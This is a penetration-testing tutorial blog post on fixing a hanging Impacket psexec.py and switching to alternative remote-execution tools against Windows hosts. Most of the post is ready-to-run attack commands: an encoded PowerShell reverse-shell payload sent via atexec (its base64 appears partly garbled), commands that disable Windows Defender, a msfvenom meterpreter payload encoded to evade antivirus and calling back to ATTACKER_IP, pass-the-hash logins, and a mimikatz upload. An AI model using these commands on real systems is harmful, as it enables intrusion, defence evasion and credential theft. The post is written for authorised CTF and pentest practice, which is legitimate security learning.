By using this site, you agree to the Privacy Policy and Terms of Use.
Accept

AceFortis

Cybersecurity Research

  • Home
  • Training
  • Compliance
  • Awareness
  • Research
    • Penetration Testing
    • CVE & Vulnerabilities
    • Hacking Tutorials
    • Tools & Reviews
    • Certifications
    • CTF
  • About
  • Contact
Search

Categories

  • Cybersecurity
  • Penetration Testing
  • Frameworks & Theory
  • CVE & Vulnerabilities
  • Hacking Tutorials
  • Tools & Reviews
  • CTF
  • Certifications
  • About AceFortis
  • Privacy Policy
  • Cybersecurity Training
  • Terms of Use

Tools & Platforms

  • TryHackMe vs HackTheBox: A Beginner’s Comparison
  • Burp Suite vs OWASP ZAP: Complete Pentesting Comparison
  • Kali vs Parrot OS: Best Pentesting Distro 2026 Comparison
  • Metasploit vs Cobalt Strike: Features, Pricing, Evasion
  • Nmap Network Scanning Tutorial for Beginners (2026)
  • Cookie Policy (EU)
  • About
  • Contact
  • Privacy Policy
  • Sitemap
  • Terms of Use
© 2026 AceFortis. All Rights Reserved.
Reading: Impacket psexec.py Hangs? Here’s Why (And What to Use Instead)
Share
Notification Show More
Font ResizerAa

AceFortis

Cybersecurity Research

Font ResizerAa
Search
Follow US
  • About
  • Contact
  • Privacy Policy
  • Sitemap
  • Terms of Use
© 2026 AceFortis. All Rights Reserved.
Hacking Tutorials

Impacket psexec.py Hangs? Here’s Why (And What to Use Instead)

Akash Kumar
Last updated: October 13, 2026 11:19 pm
Akash Kumar
Share
SHARE

Impacket psexec.py Hangs? Here’s Why (And What to Use Instead)

Hey friend, you’ve got credentials for a Windows box, fire up psexec.py from Impacket, and… it just hangs. The upload happens, you see “Bypassing command execution” and then—nothing. Dead. Silence.

Contents
Problem #1: psexec.py Uploads Binary Then HangsWhy This HappensSolution #1: Use wmiexec.py Instead (Recommended)Solution #2: Use smbexec.py (Alternative)Solution #3: Use atexec.py (Scheduled Tasks)Solution #4: Use dcomexec.py (DCOM)Solution #5: Disable Windows Defender FirstSolution #6: Use NetExec/CrackMapExec InsteadSolution #7: Encode Your PayloadSolution #8: Use Evil-WinRM (PowerShell Remoting)Problem #2: “Access is Denied” ErrorCauses:Fix: Check LocalAccountTokenFilterPolicyProblem #3: Connection TimeoutCauses:Fix: Check SMB ConnectivityProblem #4: NTLM Authentication FailedFix: Try Different AuthenticationQuick Reference: Alternative Tools MatrixBottom Line

This is one of the most frustrating problems in CTFs and pentests. Let me show you exactly why it happens and the bulletproof alternatives that work when psexec fails.

Problem #1: psexec.py Uploads Binary Then Hangs

You run:

psexec.py administrator@10.10.10.50

Enter password, see:

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.50.....
[*] Found writable share ADMIN$
[*] Uploading file nXKmPqaR.exe
[*] Uploading service binary to C:\Windows\nXKmPqaR.exe
[*] Opening service manager on 10.10.10.50.....
[!] Was unable to open service manager: SERVICE_NAME_INVALID

Or worse—it uploads, starts service, and then nothing happens. No shell.

Why This Happens

  1. Anti-virus (AV) blocks execution – Modern AV detects default psexec binaries and kills them instantly
  2. Windows Defender – Even without third-party AV, Windows Defender’s real-time protection catches Impacket
  3. Service execution blocked – Some environments restrict service creation or execution
  4. UAC/LocalAccountTokenFilterPolicy – Administrative privileges aren’t passing through correctly

Solution #1: Use wmiexec.py Instead (Recommended)

WMI (Windows Management Instrumentation) execution bypasses service creation entirely. This is my go-to when psexec fails.

Command:

wmiexec.py administrator@10.10.10.50

Or with hash:

wmiexec.py -hashes :32196B56FFE6F35E8A77B01AE4E633A6 administrator@10.10.10.50

Advantages:

  • Doesn’t create a service (stealthier)
  • Doesn’t write files to disk
  • Works when psexec is blocked
  • Often bypasses basic AV signatures

Disadvantages:

  • Semi-interactive shell (not full terminal)
  • Some commands timeout or fail
  • Output formatting is weird sometimes

Solution #2: Use smbexec.py (Alternative)

SMB exec uses SMB shares to execute commands without writing a binary to disk.

smbexec.py administrator@10.10.10.50

Or with hash:

smbexec.py -hashes :32196B56FFE6F35E8A77B01AE4E633A6 administrator@10.10.10.50

Advantages:

  • No binary upload to disk
  • Bypasses file-based AV detection
  • Semi-interactive command execution

Solution #3: Use atexec.py (Scheduled Tasks)

Scheduled task execution is often overlooked but extremely reliable.

atexec.py administrator@10.10.10.50 "command"

Example – Get a shell:

# Create reverse shell payload
atexec.py administrator@10.10.10.50 "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABjAGwAaQBlAG4AdAAuAGMAbwBuAG4AZQBjAHQAKA'nAEEAVABUAEEAQwBLAEUAUgBfAEkAUAA'nACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAIAB7ADAAeAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAA7ACQAcwBlAG4AZABiAGEAYwBr`+ ACAAJABzAGUAbgBkAGIAYQBjAGsAIAAyAD4AJgAxACAAfAAgACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgBhAGMAawAsADAALAAkAHMAZQBuAGQAYgBhAGMAawAuAEwAZQBuAGcAdABoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

Then catch the shell with your listener.

Solution #4: Use dcomexec.py (DCOM)

DCOM execution is less common and often bypasses restrictions that block psexec.

dcomexec.py administrator@10.10.10.50

Available shells:

  • -object 'MMC20.Application' (default)
  • -object 'ShellWindows'
  • -object 'ShellBrowserWindow'

Example:

dcomexec.py -object 'ShellWindows' administrator@10.10.10.50

Solution #5: Disable Windows Defender First

If you have remote execution but Defender is killing your binaries:

Option A: Using wmiexec to disable Defender:

wmiexec.py administrator@10.10.10.50

# Disable Real-time Monitoring
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"

# Or completely disable Windows Defender
powershell -c "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force"

Option B: Using NetExec/CrackMapExec:

nxc smb 10.10.10.50 -u administrator -p 'Password123' -M defqon_disable_defender

Option C: Using powershell_remoting (if enabled):

evil-winrm -i 10.10.10.50 -u administrator -p 'Password123'

# Disable Defender
Set-MpPreference -DisableRealtimeMonitoring $true

Solution #6: Use NetExec/CrackMapExec Instead

NetExec (modern fork of CrackMapExec) is often more reliable than Impacket

Command execution:

nxc smb 10.10.10.50 -u administrator -p 'Password123' -x 'whoami'

Spawn shell:

nxc smb 10.10.10.50 -u administrator -p 'Password123' -x 'powershell -e '

Using wmi:

nxc wmi 10.10.10.50 -u administrator -p 'Password123' -x 'whoami'

Solution #7: Encode Your Payload

When AV detection is the issue, encode your binary or payload:

Generate encoded payload with msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > payload.exe

Then upload manually via SMB:

smbclient.py administrator@10.10.10.50

# In smbclient
use ADMIN$
put payload.exe
exit

# Now execute via wmiexec
wmiexec.py administrator@10.10.10.50 "C:\Windows\payload.exe"

Solution #8: Use Evil-WinRM (PowerShell Remoting)

If port 5985/5986 (WinRM) is open, this is the most stable option:

evil-winrm -i 10.10.10.50 -u administrator -p 'Password123'

Or with hash:

evil-winrm -i 10.10.10.50 -u administrator -H 32196B56FFE6F35E8A77B01AE4E633A6

Advantages:

  • Full interactive PowerShell session
  • No binary upload
  • Bypasses most AV
  • Tab completion works
  • Upload/download files easily

Bonus – Upload tools:

evil-winrm> upload /path/to/mimikatz.exe C:\Windows\Temp\mimikatz.exe
evil-winrm> C:\Windows\Temp\mimikatz.exe

Problem #2: “Access is Denied” Error

You get:

[!] Was unable to open service manager: ACCESS_DENIED

Causes:

  1. UAC (User Account Control) is blocking remote admin access
  2. LocalAccountTokenFilterPolicy not configured
  3. Account is not actually admin

Fix: Check LocalAccountTokenFilterPolicy

On the target machine (if you have other access):

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy

If it’s not set to 1, enable it:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Now retry psexec.

Problem #3: Connection Timeout

psexec.py hangs trying to connect:

[*] Requesting shares on 10.10.10.50.....
[timeout]

Causes:

  1. SMB port 445 blocked by firewall
  2. IPSec or VPN required
  3. Target offline

Fix: Check SMB Connectivity

ping 10.10.10.50
nmap -p 445,139 10.10.10.50
smbclient -L 10.10.10.50 -U administrator

Problem #4: NTLM Authentication Failed

You get:

[-] NTLM Session Error: STATUS_LOGON_FAILURE

Fix: Try Different Authentication

# Try with domain
psexec.py domain/administrator@10.10.10.50

# Try with LM hash too
psexec.py -hashes LMHASH:NTHASH administrator@10.10.10.50

# Try Kerberos (if domain joined)
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass administrator@target.domain.local

Quick Reference: Alternative Tools Matrix

ToolMethodDisk Write?AV BypassBest For
wmiexec.pyWMINo⭐⭐⭐⭐psexec blocked
smbexec.pySMBNo⭐⭐⭐⭐no files on disk
atexec.pyTasksNo⭐⭐⭐one-off commands
dcomexec.pyDCOMNo⭐⭐⭐psexec+wmi blocked
evil-winrmWinRMNo⭐⭐⭐⭐⭐full shell needs
nxc/wmiWMINo⭐⭐⭐⭐quick commands
psexec.pyServiceYes⭐last resort

Bottom Line

When psexec.py hangs, don’t waste time debugging. Switch to:

  1. wmiexec.py – Most reliable alternative
  2. evil-winrm – If port 5985/5986 is open (best experience)
  3. smbexec.py – If WMI is blocked
  4. atexec.py – For quick one-liner execution
  5. dcomexec.py – Last resort alternative
  6. NetExec – Modern, actively maintained

And always check if Windows Defender is the culprit—disable it first with wmiexec or evil-winrm before trying other methods.

You Might Also Like

What is Incident Response? IR Phases Explained for Beginners
Hydra Brute Force: Quick Login Testing Guide
Reverse Shell Cheat Sheet: From Basic to Advanced Techniques
Nmap Cheat Sheet: 15 Commands Every Beginner Must Know
Nmap Network Scanning Tutorial for Beginners (2026)

Sign Up For Daily Newsletter

Be keep up! Get the latest breaking news delivered straight to your inbox.
[mc4wp_form]
By signing up, you agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time.
Share This Article
Facebook Copy Link Print
Share
ByAkash Kumar
Follow:
Akash Kumar, founder of AceFortis. Penetration tester and cybersecurity trainer based in Milan, and cybersecurity instructor at DEMOS Fondazione ITS. Expertise: penetration testing, red teaming and Active Directory security. I offer security awareness training, phishing simulations and courses on NIS2, DORA and ISO 27001 for companies and institutions, in English and Italian. Certifications: CPENT, CRTA, eJPT, PT1.
Previous Article Reverse Shell Dies Immediately? Here’s How to Fix It (Every Time)
Next Article LinPEAS Finds Nothing? Here’s How to Find Privilege Escalation Manually
Leave a Comment

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Latest News

EU AI Act: What Businesses Must Do Now (2026 Update)
Compliance
Password Policy in 2026: What NIST SP 800-63B Recommends
Compliance
How to Run a Cyber Tabletop Exercise: Ransomware Scenario
Security Awareness & Training
30-Day Security Awareness Training Plan
Security Awareness & Training

You Might also Like

Reverse Shell Dies Immediately? Here’s How to Fix It (Every Time)

Akash Kumar
Akash Kumar
7 Min Read

Linux Privilege Escalation: Complete CTF Guide

Akash Kumar
Akash Kumar
4 Min Read
Hacking Tutorials

What is Active Directory? Complete Beginner’s Guide 2026

Akash Kumar
Akash Kumar
27 Min Read
//

Sharing knowledge that keeps the digital world a little safer.

Sign Up for Our Newsletter

Subscribe to our newsletter to get our newest articles instantly!

[mc4wp_form id=”1616″]

AceFortisAceFortis
Follow US
© 2026 AceFortis. All Rights Reserved.
Manage Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes. The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
  • Manage options
  • Manage services
  • Manage {vendor_count} vendors
  • Read more about these purposes
View preferences
  • {title}
  • {title}
  • {title}
Welcome Back!

Sign in to your account

Username or Email Address
Password

Lost your password?